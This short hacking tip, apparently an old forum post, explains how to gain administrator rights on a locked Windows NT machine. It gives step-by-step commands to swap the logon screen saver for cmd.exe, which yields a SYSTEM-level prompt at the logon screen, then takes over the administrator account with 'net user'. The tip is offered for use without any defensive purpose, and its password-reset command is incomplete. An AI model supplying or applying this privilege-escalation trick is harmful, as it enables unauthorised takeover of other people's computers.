Accessing the Comp. as an Administrator in a Locked Environment

If you can log in as an account in WIn NT then go to MS-DOS -> run -> command, at the C: prompt type the following

C:\> cd \winnt\system32 
C:\winnt\system32> copy logon.scr logon.scr.old 
C:\winnt\system32> del logon.scr 
C:\winnt\system32> copy cmd.exe logon.scr 

Now log off the machine, logon.scr is the screen saver that will kick in after 15-20 minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights will pop up, then just to 
C:\> net user administrator 
and then log in with the new account.

Try this, might work, as long as the administrator has not changed default permissions or access rights on C:\winnt and C:\winnt\system32


Thanx @ ..............................